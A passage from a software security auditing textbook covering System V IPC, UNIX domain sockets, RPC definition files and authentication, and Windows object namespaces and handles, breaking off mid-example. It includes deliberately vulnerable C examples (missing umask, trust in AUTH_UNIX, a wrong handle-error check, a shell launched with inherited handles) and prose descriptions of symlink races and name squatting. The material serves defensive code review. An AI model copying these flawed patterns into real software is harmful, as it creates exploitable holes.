variables among a number of processes. Shared memory segments can be created 

and manipulated with shmget(), shmctl(), shmat(), and shmdt(). 

The System V IPC mechanisms have their own namespace in kernel memory that isn't 

tied to the file system, and they implement their own simple permissions model. In 

reality, these mechanisms are rarely used in applications; however, you should know 

about them in case you encounter code that does use them. The most important issue 

is permissions associated with an IPC entity. IPC implements its own simple 

permissions model. Each IPC object has its own mode field that describes the 

requirements for accessing it. This field is nine bits: three bits describing the owner's 

privileges, three bits describing the group privileges (of the group the owner belongs 

to), and three bits describing the permissions for everybody else. The bits represent 

whether the object can be read from or written to for the appropriate group (with one 

extra bit that's reserved). 

These permissions are a simplified version of how file system permissions work 

(except IPC mechanisms don't have the execute permission). Obviously, programs 

that set these permissions inappropriately are vulnerable to attacks in which arbitrary 

processes interfere with a communication channel being used by a more privileged 

process. The consequences can range from simple denial-of-service attacks to 

memory corruption vulnerabilities to logic errors resulting in privilege escalation. 

Recently, a denial-of-service vulnerability was found in Apache Web server related to 

shared memory access for users who could run data with privileges of the Apache 

user (that is, could write scripts for the Web server to run). In an article at 

www.securityfocus.com/archive/1/294026, Zen-parse noted that running scripts in 

this context allowed users to access the HTTPd scoreboard, which was stored in a 

shared memory segment. He describes several attacks that resulted in Apache 

spawning endless numbers of processes or being able to send signals to arbitrary 

processes as root. 

Another issue when dealing with shared memory segments is that when a process 

forks, both the child and parent receive a copy of the mapped shared memory 

segment. This means if one of the processes is compromised to a level that 

user-malleable code can be run, each process can access shared memory segments 

with the permissions it was mapped in with. If an exec() occurs, the shared memory 

segment is detached. 

Finally, the use of shared resources might introduce the possibility of race conditions, 

particularly in shared memory segments. Because the data segment can be mapped 

into multiple processes simultaneously, any of those processes that can write to the 

segment might be able to cause race conditions by modifying data after another 

process has read it but before the data has been acted on. Of course, there are also 

http://www.securityfocus.com/archive/1/294026
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complications if multiple writers are acting at the same time. Synchronization issues 

are covered in more depth in Chapter 13(? [????.]), "Synchronization and State." 

UNIX Domain Sockets 

UNIX domain sockets are similar to pipes, in that they allow processes on a local 

system to communicate with each other. Like pipes, UNIX domain sockets can be 

named or anonymous. Anonymous domain sockets are created by using the 

socketpair() function. It works similarly to the pipe() function; it creates a pair of 

unnamed endpoints that a process can use to communicate information. Anonymous 

domain sockets are typically used when a process intends to fork and needs a 

communication channel between a parent and a child. 

Named domain sockets provide a general-purpose mechanism for exchanging data in 

a stream-based or record-based fashion. They use the socket API functions to create 

and manage a connection over a domain socket. In essence, the code to implement 

connection management and data exchange over named pipes is almost identical to 

networked applications, although the security implications of using local domain 

sockets are quite different. Named sockets are implemented by using special socket 

device files, created automatically when a server calls bind(). The location of the 

filename is specified in the socket address structure passed to the bind() function. A 

socket device file is created with permissions (777 & ~umask). Therefore, if a setuid 

program creates a socket, setting the umask to 0 before starting the program creates 

the socket file with full read, write, and execute privileges for everyone, meaning any 

user on the system could connect to the socket and write arbitrary data to the process 

that bound the socket. An example of a dangerous socket creation is shown: 

int create_sock(char *path) 

{ 

    struct sockaddr_un sun; 

    int s; 

 

    bzero(&sun, sizeof(sun)); 

 

    sun.sun_family = AF_UNIX; 

    strncpy(sun.sun_path, path, sizeof(sun.sun_path)-1; 

 

    s = socket(AF_UNIX, SOCK_STREAM, 0); 

 

    if(s < 0) 

        return s; 

 

    if(bind(s, (struct sockaddr *)&sun, sizeof(sun)) < 0) 

        return -1; 
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    return s; 

} 

 

Assuming this code is running in a privileged context, it could be dangerous because 

it doesn't explicitly set the umask before creating the socket. Therefore, the calling 

user might be able to clear the umask and write to a socket that's not intended to 

receive connections from arbitrary clients. It's easy to overlook file permissions in this 

situation because they aren't addressed in the socket functions (as opposed to pipe 

functions such as mkfifo(), which have a mode argument for creating a new pipe). 

Of course, if users can specify any part of the pathname generated to store the socket 

or if any writeable directories are used in the path, race attacks could be performed to 

intercept traffic between a client and server. Specifically, consider the following code: 

int create_sock(void) 

{ 

    struct sockaddr_un sun; 

    char *path = "/data/fifo/sock1"; 

    int s; 

 

    bzero(&sun, sizeof(sun)); 

 

    sun.sun_family = AF_UNIX; 

    strncpy(sun.sun_path, path, sizeof(sun.sun_path)-1); 

 

    s = socket(AF_UNIX, SOCK_STREAM, 0); 

 

    if(s < 0) 

        return s; 

 

    if(bind(s, (struct sockaddr *)&sun, sizeof(sun)) < 0) 

        return -1; 

 

    return s; 

} 

 

This slightly modified example shows that a socket is created in /data/fifo. If the 

/data directory is writeable, you could let the server create the socket, and then 

unlink the /fifo directory or symlink it to some other location where another socket 

named sock1 has been created. Any client connecting to this socket would then be 

connecting to the wrong program unwittingly. This might have security implications if 

sensitive data is being transmitted or if resources are being passed across the socket, 

such as file descriptors. 
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Auditing code that uses UNIX domain sockets requires paying attention to the manner 

in which the socket is created. Because socket files need to be opened explicitly with 

the socket API, socket files can't be passed as arguments to setuid programs in an 

attempt to manipulate the speed at which a process is running, as described for 

named pipes. There is one exceptionwhen the socket has already been opened and a 

new process inherits the descriptor via a call to execve(). 

Note 

Also, bear in mind that when a server closes a socket, the socket file isn't deleted from 

the file system; it needs to be deleted with the unlink() function. Failure to do so by 

the server might result in it being unable to bind again when it needs to be restarted 

(if a static pathname is used) or a directory being continually filled up with unused 

socket files. This isn't so much a security issue but can result in the application not 

being able to bind sockets when it needs to. 

7.6.6 Remote Procedure Calls 

Remote Procedure Calls (RPC) allow applications to be designed and deployed in a 

distributed fashion by using a client/server architecture. Programmers can develop 

applications without worrying too much about the details of data encapsulation and 

transmission because the RPC interface handles these tasks automatically. There are 

two main RPC implementation and encoding standards: Open Network Computing 

(ONC) and Distributed Computing Environment (DCE). UNIX implements ONC-RPC 

(also known as Sun-RPC). 

RPC applications are constructed by developing a server that exports a number of 

routines clients can call, provided they have adequate credentials. Each server 

program has a unique program number handed off to a special process known as 

portmap. When clients want to call a routine for an RPC server, several steps are 

involved: 

1.  They connect to the portmapper service on a well-known port (UDP port 111 and 

TCP port 111). 

2.  The client requests a specific service by supplying the unique program number 

associated with that service. 

3.  Provided the service has been registered, portmap starts the service on an 

ephemeral port, and then reports back to the client with the port number the 

service is listening on. 

4.  The client connects to the appropriate port, requests the routine it wants to call, 

and supplies arguments that the routine requires. 
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This description is a bit general. Some RPC servers have well-known ports (such as 

rpc.nfsd), and the interaction with portmap is sometimes unnecessary. Note that 

querying the portmap per service isn't necessarily required, and anyone who chooses 

to enforce access restrictions on clients by controlling access to the portmapper 

service isn't protecting the application. 

RPC Definition Files 

Most RPC applications implement their interfaces by using an RPC definition file 

(usually with .x as a file suffix). This file defines structures used throughout the 

program and the interface the server exports. The rpcgen tool on most modern UNIX 

systems can process these files and automatically generate client and server stub 

routines for communicating data between client and server applications. This tool 

takes a lot of the developer's work out of dealing with data transmission primitives in 

accordance with RPC design principles. 

For code reviewers, this file is a convenient starting point for auditing RPC 

applications. You can quickly ascertain what functions are available to connecting 

clients and what arguments they take. The file format is quite straightforward. 

Developers can declare structures that the program is using as well as the RPC server 

interface (which is a structure definition). RPC abstracts the details of data 

transmission by using External Data Representation (XDR), a standard developed to 

represent data elements in a machine- and implementation-independent fashion. An 

RPC definition file that describes an RPC interface can represent arguments of 

different types. These types correspond directly to XDR basic types or structures 

composed of XDR basic types. The basic types in RPC definition files are as follows: 

 bool This is a Boolean value and can be in one of two states: true and false 

(nonzero and zero). 

 char This data type is identical to the char data type in C. As in C, characters 

can be signed or unsigned. 

 short This data type is the same as the C/C++ short data type. It can be 

signed or unsigned. 

 int An integer data type that's identical to the C/C++ int type and can be 

qualified with the unsigned keyword. 

 float Identical to the C/C++ float data type. 

 double Identical to the C/C++ double data type. 

 hyper The a 64-bit integer is the same as long long in C/C++. 

 string A string is a variable-length character array. Array definitions are 

described momentarily. 

 opaque Used to represent a byte stream of unspecified contents. It's much like 

the string type except that the RPC runtime doesn't NUL-terminate or attempt 

to interpret or decode it. Opaque data fields must be a fixed size. 
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In addition to basic data types, XDR allows the declaration of arrays and vectors. 

(Vectors are fixed-length arrays, so just the term "arrays" is used in this section.) 

Arrays are defined by using brackets (<>) with an optional size parameter. A 

fixed-length array looks like this: 

int numberarray<1024>; 

 

In this case, the RPC runtime ensures that an array supplied by a client doesn't 

exceed this maximum limit. Arrays can also be unbounded, as in this example: 

int numberarray<>; 

 

In this case, clients are free to supply any number of integers they choose. When used 

with the string and opaque types, the brackets indicate the length of the string, not an 

array of strings. A string with a maximum length of 255 bytes is declared like so: 

string mystring<255>; 

 

The server interface is defined by using the program keyword followed by the structure 

describing what routines have been exported. This structure can define multiple 

versions of the RPC program (using the version keyword), with each version 

exporting a unique set of procedures (although typically, they export the same ones). 

The prototype for an exported function is much like a C function prototype, with some 

differences; primarily, the function name is in uppercase letters and is followed by the 

procedure number assigned to that routine. Each routine that has been exported 

appears in the source code, but it's lowercase and has _svc appended to indicate it's 

a service routine. For example, you have the following declaration in the RPC 

definition file: 

int HELLO_WORLD_1(void) = 1; 

 

The server routine that implements it in the source is named 

hello_world_1_svc(). 

 

Here's an example of a server definition. The following code fragment is from the 

sm_inter.x file, which defines the interface for the well-known rpc.statd service: 

program SM_PROG { 

    version SM_VERS { 

        /* res_stat = stat_succ if status monitor agrees 
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           to monitor */ 

        /* res_stat = stat_fail if status monitor 

           cannot monitor */ 

        /* if res_stat == stat_succ, state = state 

           number of site sm_name */ 

        struct sm_stat_res   SM_STAT(struct sm_name) = 1; 

 

        /* res_stat = stat_succ if status monitor agrees 

           to monitor */ 

        /* res_stat = stat_fail if status monitor 

           cannot monitor */ 

        /* stat consists of state number of local site */ 

        struct sm_stat_res             SM_MON(struct mon) = 2; 

 

        /* stat consists of state number of local site */ 

        struct sm_stat   SM_UNMON(struct mon_id) = 3; 

 

        /* stat consists of state number of local site */ 

        struct sm_stat   SM_UNMON_ALL(struct my_id) = 4; 

 

        void             SM_SIMU_CRASH(void) = 5; 

 

        void             SM_NOTIFY(struct stat_chge) = 6; 

 

    } = 1; 

} = 100024; 

 

The statd program has only one available version: version 1. It also exports six 

functions that clients can call remotely: sm_stat, sm_mon, sm_unmon, sm_unmon_all, 

sm_simu_crash, and sm_notify. To audit this application, an excellent starting point is 

looking for these functions in the source code because you know they're taking data 

from the client and processing it. You can also deduce what kind of data they're 

accepting from these prototypes; in the preceding example, they're specially defined 

structures, except sm_simu_crash, which doesn't take any arguments. To audit these 

functions, you can look up these structures to see what data you can supply. For 

example, if you want to audit the sm_stat function, you look for the definition of the 

sm_name structure, as shown: 

const    SM_MAXSTRLEN = 1024; 

 

struct sm_name { 

    string mon_name<SM_MAXSTRLEN>; 

}; 
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In this instance, you can supply a string that can be at most 1024 bytes. As you can 

see, RPC definition files allow you to quickly identify what code the server exposes to 

the client. 

RPC Decoding Routines 

The RPC definition file isn't required to create an RPC application. Developers might 

choose to hand-code the client and server stubs, which involves creating decoders for 

data manually by using the XDR routines exported for encoding and decoding. 

(Usually, the rpcgen tool uses XDR subroutines to encode structures and types 

defined in the RPC specification file.) XDR exports encoding and decoding routines for 

all its basic types: xdr_int(), xdr_string(), xdr_bool(), and so on. This lower-level 

manipulation introduces the opportunity for mistakes in the routines responsible for 

decoding data destined for certain routines. For example, the sm_name structure above 

has one element: a string with a maximum length of 1024. The XDR routine 

generated by rpcgen looks like this: 

bool_t 

xdr_sm_name(XDR *xdrs, sm_name *objp) 

{ 

    register int32_t *buf; 

 

    if(!xdr_string( xdrs, &objp->mon_name, SM_MAXSTRLEN)) 

        return FALSE; 

    return TRUE; 

} 

 

If developers create these types of routines, they might accidentally use the wrong 

constants for maximum string lengths, not deal with errors properly, and so on. 

Therefore, when a developer doesn't use the RPC definition file, there's an additional 

lower layer where things might go wrong. 

Note 

Whether developers use the RPC definition file or not, there's a chance some 

implementations of rpcgen will make mistakes or the XDR libraries might have 

decoding errors. However, the system libraries usually aren't your primary concern 

when auditing an applicationbut they are well worth browsing in your spare time! 

 

 

Authentication 
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RPC provides a number of authentication methods that can be used in applications 

that need to enforce access control for the functions they export: 

 AUTH_NONE When this method is selected, no authentication is required to use 

the RPC server; clients can call any routines they like. It's also referred to as 

AUTH_NULL in some implementations. 

 AUTH_UNIX Also commonly referred to as AUTH_SYS, with this authentication 

method, users provide a user ID, group ID list, and hostname indicating on 

which host they have the indicated privileges. For example, users connecting 

to an RPC server on host A might transmit credentials indicating they are the 

root user on host B. Because this mechanism relies on trust, it's totally 

unreliable. Indeed, this security is no better than no security enforcement 

because users can always transmit credentials indicating they are root (or any 

other user) on the local host where the RPC server resides. If you encounter a 

program that relies on this authentication mechanism, you have free access to 

any functions it provides. 

 AUTH_DES This method provides a more secure authentication mechanism that 

requires clients to verify their identity by encrypting a message with a private 

key (usually a timestamp). The server can use DES authentication to verify 

the client's identity, and the client can use DES to verify the server's identity. 

RPC applications could possibly implement additional security features to help tighten 

control over applications, although additional features are used less often than they 

should be. If RPC authentication is in place, there's code to manually verify 

credentials in server routines or a dispatch function. In either case, some code is 

available to examine authentication data supplied with requests. It looks something 

like this: 

int authenticate(struct svc_req *svc) 

{ 

    struct authunix_params *aup; 

    switch(rqstp->rq_cred.oa_flavor){ 

        case AUTH_SYS: 

            aup = (struct authunix_params *)rqstp->rq_cred; 

 

            if(aup->aup_uid != 0) 

                return 1; 

            return 0; 

 

        default: 

            return 1; 

    } 

} 
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This code has some verification of the requester's credentials, but it's using the 

AUTH_UNIX authentication method. As you know now, that method isn't much better 

than having no authentication at all. 

 

7.6.7 Summary 

The environment in which programs run in UNIX has many idiosyncrasies that affect 

how processes can function safely. You have seen mechanisms to pass extraneous 

data and resources into a process, such as environment variables and file descriptors, 

as well as mechanisms such as rlimits that impose certain restrictions on how a 

process operates. Because UNIX provides such fine-tuned access over the 

environment in which a process runs, processes that are called with elevated 

privileges need to be careful when interacting with sensitive resources. Auditing 

process calls in UNIX requires being aware of all the security implications of the 

myriad actions performed implicitly when a program runs. You have explored issues 

in direct program invocation via the execve() system call and indirect invocation via a 

command shell interpreter. The security-related behaviors you examined include file 

descriptor passing, command-line arguments, and trusting environment variables. In 

addition, you learned how mechanisms can be misused to adversely affect the way a 

process runs. The use of signals, IPC, and resource limits can contribute to a program 

encountering unexpected errors when performing normal tasks, which in turn might 

lead to a security compromise or aid an attacker in exploiting a vulnerability that 

requires precise timing. Finally, you have learned about process interaction via 

external mechanisms, such as IPC mechanisms and RPC. This information should give 

you a solid foundation for reviewing modern UNIX software. 

7.7 Chapter 11.  Windows I: Objects and the File System 

"Because it's cool. It's like, 'Yeah, been there done thatoh, yeah, I know that bug.' I 

can understand that phenomenon sociologically, not technically." 

Bill Gates, from a 1995 interview with FOCUS Magazine 

 

7.7.1 Introduction 

Windows is the most popular PC operating system on the market. It has evolved over 

more than 20 years from a basic single-user shell into a robust, networked, multiuser 

OS. Modern versions of Windows are quickly growing in the traditional big-iron 

markets, from the small office server space to data centers. So what code auditing 

book would be complete without a detailed discussion of Windows-specific security 

31051536.html
31051536.html
31051536.html
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issues? This chapter and the next are dedicated to discussing security considerations 

unique to the Windows environment. The coverage begins with explanations of some 

of the essential Windows security concepts: the security model, objects and their 

related access controls, and manipulating files. Chapter 12(? [????.]), "Windows II: 

Interprocess Communication," moves on to the security complications that occur 

when exchanging data between different security contexts. 

Keep in mind that several different OSs actually make up the Windows family. This 

coverage, however, focuses on the Windows NT series, the most popularly deployed 

series, which includes NT, 2000, XP, Server 2003, and the upcoming Vista. Windows 

CE and 9x series aren't covered because they aren't true multiuser OSs, so they have 

limited security capabilities and don't present the unique considerations the NT series 

does. 

7.7.2 Background 

The Windows NT series is a family of hybrid microkernel OSs developed and 

distributed by Microsoft Corporation. It was originally designed through a 

collaborative effort with IBM as the successor to the OS/2 2.0 Presentation Manager. 

However, the commercial success of the Windows 3.x series led Microsoft to steer 

Windows NT development toward its present relationship with the classic Windows 

API. Therefore, the structure and conventions of the Windows API (Win32) are heavily 

derived from the original Windows 3.0 API. This influence is so significant that the 

1993 release of the original Windows NT was numbered 3.1 to provide parity and a 

natural transition from the then dominant Windows 3.0. The Windows NT series is 

currently the flagship product of the Windows line and is simply referred to as 

"Windows" from here on. 

Microsoft Developer Network (MSDN) 

The Microsoft Developer Network (MSDN) is the authoritative source of 

information on Windows APIs and technologies. You'll refer to it regularly 

over the course of a Windows application security review. A free online 

version is available at http://msdn.microsoft.com/, and local versions are 

included with the purchase of Visual Studio or through a subscription-based 

service. 

 

Windows is termed a hybrid microkernel, but its development history has always 

shown a willingness to sacrifice the microkernel separation for increased performance. 

It's probably more accurate to say that it draws from the microkernel design but 

doesn't fit the definition to an appreciable degree. More appropriately, the basic 

design of Windows is heavily influenced by the Digital Equipment Corporation (DEC) 

http://msdn.microsoft.com/
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Virtual Memory System (VMS) operating system because the Windows NT senior 

architect, David Cutler, had previously worked as one of the primary designers of VMS. 

Microsoft hired Cutler in 1988 to help develop its next-generation operating system, 

and he brought a team of former DEC VMS engineers with him. 

The combined lineage of VMS and Windows 3.0 gives the modern Windows OS its 

unique (and occasionally schizophrenic) feel. Accepting some incongruities, the 

modern Windows system is a highly capable multiuser OS. It's natively multithreaded, 

all the way down to a fully preemptable kernel. The system provides a flexible 

security model that allows a fine-grained separation and assignment of resources, 

which extends to secure authentication across large distributed networks. However, a 

potential weakness of Windows is that the system supports such a wide range of 

capabilities. Many historical decisions in designing and implementing these 

capabilities have created a fertile ground for potential vulnerabilities. Although 

Microsoft is now one of the most security-aware software companies, the Windows 

system carries the burden of past security mistakes. It's these idiosyncrasies you 

need to focus on when considering Windows-specific security vulnerabilities. 

This chapter and Chapter 12(? [????.]) provide the information you need to identify 

vulnerabilities unique to the Windows architecture. Before learning about 

vulnerabilities, however, you need to understand more about the architecture of the 

OS. The following sections give you a basic overview of Windows and explain 

Windows design choices and handling of fundamental OS requirements. This 

overview isn't comprehensive; it's more a targeted coverage of the details you need 

to know. However, it should give you the foundation for understanding the types of 

vulnerabilities covered in this chapter and the next. 

Environment Subsystems 

The OS market was actually quite volatile when Windows NT was originally 

designed, so Microsoft chose an interesting approach in designing and 

implementing its new OS. It implemented the base kernel and user mode 

interface as one set of components, but the user mode environment and API 

are actually selectable. They are implemented in environment subsystems; 

the original Windows NT supported the Portable Operating System Interface 

for UNIX (POSIX) standard and OS/2 APIs in addition to the core Win32 

subsystem. This design allowed Microsoft to hedge its bets and potentially 

change the top-level operating environment as needed. 

The environment subsystem concept never really took off, however, and 

Win32 effectively cemented itself in the marketplace over time. In response, 

the bulk of the Win32 subsystem has been migrated into the kernel for 

improved performance. However, the environment subsystems are still a 
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core underpinning of the OS and provide an interesting architectural point in 

other contexts. 

 
 

7.7.3 Objects 

An object is the fundamental unit of abstraction for Windows system resources. In the 

most generic sense, an object is simply a mechanism the kernel uses to manage 

virtual and physical resources. In some sense, an object is similar to a class in Java or 

C++; it's defined by a specific type (such as a file), and then instances of that object 

are created (such as the file C:\boot.ini) and manipulated. 

The Windows Kernel Object Manager (KOM) is the component responsible for 

kernel-level creation, manipulation, and maintenance of objects. All object types the 

KOM maintains are known as system objects or securable objects; the following 

list shows the most common groups of securable objects: 

 Directory service objects 

 File-mapping objects 

 Interprocess synchronization objects (Event, Mutex, Semaphore, and 

WaitableTimer objects) 

 Job objects 

 Named and anonymous pipes 

 Network shares 

 NTFS files and directories 

 Printers 

 Processes and threads 

 Registry keys (but not registry values) 

 Services 

 Window-management objects (but not windows) 

Note 

You can see a complete list of object types with the WinObj utility, available at 

www.sysinternals.com. If you're interested in learning more about the Windows 

architecture and KOM, check out Windows Internals 4th Edition by Mark E. 

Russinovich and David A. Solomon (Microsoft Press, 2005(? [????.])). 

 

Most securable objects are instantiated or connected to with a user-mode function of 

the form Create*() or Open*(). These functions generally return an object handle (the 

http://www.sysinternals.com/
31051536.html
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HANDLE data type) if the requested object is opened successfully. From the 

application's point of view, a handle is an opaque identifier for an open object not 

unlike file descriptors in UNIX. When an object is no longer needed, it can usually be 

closed by using the CloseHandle() function. One major advantage of this consistent 

object interface is that it allows unified access control mechanisms to be applied to all 

objects, regardless of their type or function. 

Note 

Although most objects are closed with CloseHandle(), a few require a specialized 

close routine, notably the RegCloseKey() function for closing registry key objects. 

 

Other programmatic constructs maintain the object metaphor, although they aren't 

true system objects. They are occasionally referred to as "nonsecurable" or 

"pseudo-objects," but these terms are just a generalization. Pseudo-objects include 

registry values and GUI windows, for example; the related securable objects are 

registry keys and window stations. For the purposes of this discussion, the most 

important distinction is that pseudo-objects don't accept a SECURITY_ATTRIBUTES 

structure as part of their creation, so they can't have Windows access control 

mechanisms applied to them. 

Object Namespaces 

Before you learn about access rights associated with objects, you need to understand 

the object namespace. In Windows, objects can be named or unnamed. Unnamed 

objects are anonymous and can be shared between processes only by duplicating an 

object handle or through object handle inheritance (discussed in "Handle Inheritance" 

later in this chapter). Conversely, named objects are given names when they are 

created. These names are used to identify objects by clients who want to access 

them. 

Named objects are stored in a hierarchical fashion so that applications can refer to 

them later. This hierarchy is referred to as an object namespace. Object 

namespaces are managed by the KOM. Historically, there has been only a single 

global namespace in Windows. However, the addition of Terminal Services adds a 

local namespace for every active terminal session. (Terminal Services are discussed 

in Chapter 12(? [????.]).) For now, assume the term "object namespace" refers to the 

global object namespace. 

An object namespace is similar to a typical file system; it's organized into directories 

that can contain both subdirectories and objects. It can also contain links to other 

objects or directories in the object namespace. These links are actually objects of the 

type SymbolicLink. 
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You can view the object namespace with WinObj, a tool written by Mark Russinovich 

(available from www.sysinternals.com). Figure 11-1 shows the WinObj interface. On 

the left are several base directories containing objects and possibly subdirectories of 

their own. From a security-auditing perspective, you need to be aware that named 

objects created by anyone on the system are generally visible (although not 

necessarily accessible) to applications that query the namespace. 

Figure 11-1. The WinObj main window 

[View full size image] 

 
 

Note 

Readers more accustomed to UNIX systems might be curious about the security 

implications of the SymbolicLink object. Because it can point to arbitrary locations in 

the object namespace, it might seem as though the potential exists for symlink 

attacks, not unlike those that can occur at the file system level. However, creating 

SymbolicLink objects requires administrative privileges on the system, which makes 

an attack a nonissue. 

 

 

http://www.sysinternals.com/
images/11ssa01_alt.jpg
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Namespace Collisions 

Because multiple applications (or multiple instances of the same application) often 

need to refer to objects, they are given a name by the creator and stored in the object 

namespace. This presents the opportunity for attackers to create objects of the same 

name before a legitimate application does. An object can then be manipulated to 

force the legitimate application to not function correctly or even steal credentials from 

a more privileged process. This type of attack is commonly referred to as a 

namespace collision attack, or name squatting. 

To understand how these attacks work, you need to be familiar with the Windows 

object creation API. Generally, each object type has a function to create an object 

instance and another function to connect to an existing instance. For example, the 

Mutex object uses the CreateMutex() and OpenMutex() functions. However, many of the 

Create*() functions actually support both operations; they can create a new object or 

open an existing one. This support can lead to vulnerabilities when an application 

attempts to create a new object but unwittingly opens an existing object created by a 

malicious user. Most Create*() functions take a pointer to a SECURITY_ATTRIBUTES 

structure, which includes the security descriptor for the object being created. If the 

Create*() function opens an existing object, it already has a security descriptor, so 

the security attributes being passed to the Create*() function are silently ignored. As 

a result, the application uses an object with entirely different access restrictions than 

intended. 

Most functions that support both creating and opening objects provide some way for 

the application to ensure that it creates a unique object or to detect that it has opened 

a preexisting object. Generally, this restriction is enforced through object creation 

flags and by checking return codes from the Create*() function. However, it might 

also require checking return values or using the GetLastError() function. As a code 

auditor, you need to understand the semantics of these functions so that you know 

when objects aren't instantiated safely. To emphasize this point, namespace 

collisions are revisited in a number of examples as you progress through this chapter 

and Chapter 12(? [????.]). 

Vista Object Namespaces 

Microsoft Windows Vista adds private object namespaces to help address 

name-squatting issues. A private object namespace allows an application to create its 

own restricted namespace via the CreatePrivateNamespace() and 

OpenPrivateNamespace() functions. Objects are then created and opened within the 

namespace by prepending the namespace name and a backslash (\). For example, 

the object name NS0\MyMutex refers to the MyMutex object in the NS0 namespace. 

The namespace is also a securable object, which raises the question: Is it possible to 

squat on namespace names in the same way that other objects' names can be 
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squatted on? The answer will become clearer when the final implementation is done 

and Vista is released. Based on initial implementations and documentation, it appears 

that attacks of this nature are mostly mitigated because of the use of a new type of 

(pseudo) object, known as a boundary descriptor. A boundary descriptor object 

describes SIDs and session IDs that an application must belong to in order to open a 

private namespace. The namespace is identified by both its name and boundary 

descriptor; different namespaces can have identical names if they have differing 

boundary descriptors. 

A boundary descriptor is created with the CreateBoundaryDescriptor() function. Any 

call to OpenPrivateNamespace() must include a boundary descriptor matching the 

associated call to CreatePrivateNamespace(). Presently, AddSIDToBoundaryDescriptor() 

is the only documented function for adding restrictions to a boundary descriptor; this 

function adds a supplied SID to an existing boundary descriptor. The preliminary 

documentation for namespaces, however, states that boundary descriptors will 

include other information, such as session identifiers. The documentation also states 

that any process can open a namespace regardless of the boundary descriptor, if the 

namespace doesn't supply a SECURITY_ATTRIBUTES structure with adequate access 

control. This statement gives the impression that the security of private namespaces 

will depend heavily on the namespace security descriptor and when the boundary 

descriptor is made visible to client processes. 

One final point: Private namespaces are intended only to address name-squatting 

issues. They won't provide any protection against direct access to an existing object 

with weak access control. 

Object Handles 

As mentioned, most securable objects are accessed by using the HANDLE data type. 

More accurately, the kernel references all securable objects by using handles; 

however, the corresponding user space data type might not directly expose the 

HANDLE data type in the object reference. An object can be referenced by name when 

it's created or opened, but any operations on the object are always performed by 

using the handle. 

The kernel maintains a list of all open handles categorized by the owning process. This 

list is enumerated with the native API function NtQuerySystemInformation() using the 

SystemHandleInformation class. In this manner, even an unnamed object could be 

accessed by another process. An object's discretionary access control list (DACL) is 

the only thing that prevents the object from being manipulated by another user 

context. DACLs and the dangers of NULL DACLs are discussed in "Security 

Descriptors(? [????.])" later in this chapter. However, note that any object not 

properly secured by access control can be manipulated, regardless of whether it's 

named. 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 647 

INVALID_HANDLE_VALUE Versus NULL 

You need to pay close attention to any function call that returns a handle in Windows 

because Windows API calls are inconsistent as to whether an error results in a NULL or 

an INVALID_HANDLE_VALUE (-1). For example, CreateFile() returns 

INVALID_HANDLE_VALUE if it encounters an error; however, OpenProcess() returns a 

NULL handle on an error. To make things even more confusing, developers can't 

necessarily test for both values because of functions such as GetCurrentProcess(), 

which returns a pseudo-handle value of -1 (equivalent to INVALID_HANDLE_VALUE). 

Fortunately, the pseudo-handle issue isn't likely to affect a security vulnerability, but 

it does show how a developer can get confused when dealing with Windows handles. 

Take a look at an example of this issue: 

HANDLE lockUserSession(TCHAR *szUserPath) { 

    HANDLE hLock; 

    hLock = CreateFile(szUserPath, GENERIC_ALL, 0, 

        NULL, CREATE_ALWAYS, FILE_FLAG_DELETE_ON_CLOSE, 0); 

 

    return hLock; 

} 

 

 

BOOL isUserLoggedIn(TCHAR *szUserPath) { 

    HANDLE hLock; 

 

    hLock = CreateFile(szUserPath, GENERIC_ALL, 0, 

        NULL, CREATE_NEW, FLAG_DELETE_ON_CLOSE, 0); 

 

    if (hLock == NULL) 

        return TRUE; 

 

    CloseHandle(hLock); 

    return FALSE; 

} 

 

At first glance, this code might seem like a logical set of functions for locking a user's 

state. The first function simply creates a lock file with the share mode set to zero; so 

any other attempts to access this file fail. The second function can then be used to 

test for the file's existence; it should return TRUE if present or FALSE if not. It 

provides a simple way of maintaining some state between processes on remote 

systems by using a file share. 

The problem with this implementation is that it checks to see whether the returned 

handle is NULL, not INVALID_HANDLE_VALUE. Therefore, the function actually behaves 
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the opposite of how it was intended. Although this type of issue is normally a 

functionality bug, it can be a security issue in untested and rarely traversed code 

paths. Unfortunately, there's no particular method to determine which value to 

expect without consulting the Windows documentation. This issue is an artifact from 

the evolution of Windows. You simply have to refer to the MSDN and make sure the 

correct failure condition is tested for a handle returned from a particular function. 

Handle Inheritance 

People familiar with UNIX often aren't accustomed to how Windows handles process 

relationships. One of the biggest differences from UNIX is that Windows provides no 

special default privileges or shared object access to a child process. However, 

Windows does provide an explicit mechanism for passing open object instances to 

children, called handle inheritance. 

When a new process is created, the parent process can explicitly allow the child to 

inherit marked handles from the current process. This is done by passing a true value 

to the bInheritable parameter in a CreateProcess() call, which causes any handle 

marked as inheritable to be duplicated into the new process's handle table. The 

handles are marked as inheritable by setting a true value in the bInheritable member 

of the SECURITY_ATTRIBUTES structure supplied to most object creation functions. 

Alternately, the handle can be marked inheritable by calling DuplicateHandle() and 

passing a true value for the bInheritable argument. 

Typically, handle inheritance isn't a security issue because a parent process usually 

runs in the same context as the child. However, vulnerabilities can occur when handle 

inheritance is used carelessly with children spawned under another context. Handle 

inheritance can allow a child process to obtain a handle to an object that it shouldn't 

otherwise have access to. This error occurs because handle rights are assigned when 

the object is opened, so the OS views the handle in the context of the process that 

opened it, not the process that inherited it. 

For an example of where handle inheritance might be an issue, say a service listens 

on a named pipe interface and launches a command shell when a client connects. To 

prevent privilege escalation, the service impersonates the client user so that the shell 

runs with the appropriate permissions. (Impersonation is discussed in Chapter 12(? 

[????.]).) The following code demonstrates a function that might implement this 

capability. Some error checking was omitted for the sake of brevity. In particular, the 

CreateProcess() call was encapsulated inside CreateRedirectedShell(), but you can 

assume it passes true for the bInheritable argument. You can also assume the 

function creating this thread generated the handle by using ConnectNamedPipe() and 

has read client data, allowing impersonation to succeed. 

int tclient(HANDLE io) { 

    int hr = 0; 
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    HANDLE hStdin, hStdout, hStderr, 

        hProc = GetCurrentProcess(); 

 

    if(!ImpersonateNamedPipeClient(io)) 

        return GetLastError(); 

 

    DuplicateHandle(hProc, io, hProc, &hStdin, GENERIC_READ, 

                    TRUE, 0); 

    DuplicateHandle(hProc, io, hProc, &hStdout, GENERIC_WRITE, 

                    TRUE, 0); 

    DuplicateHandle(hProc, io, hProc, &hStderr, GENERIC_WRITE, 

                    TRUE, 0); 

    CloseHandle(io); 

 

    hProc = CreateRedirectedShell(hStdin, hStdout, hStderr); 

 

    CloseHandle(hStdin); 

    CloseHandle(hStdout); 

    CloseHandle(hStderr); 

 

    hr = RevertToSelf(); 

 

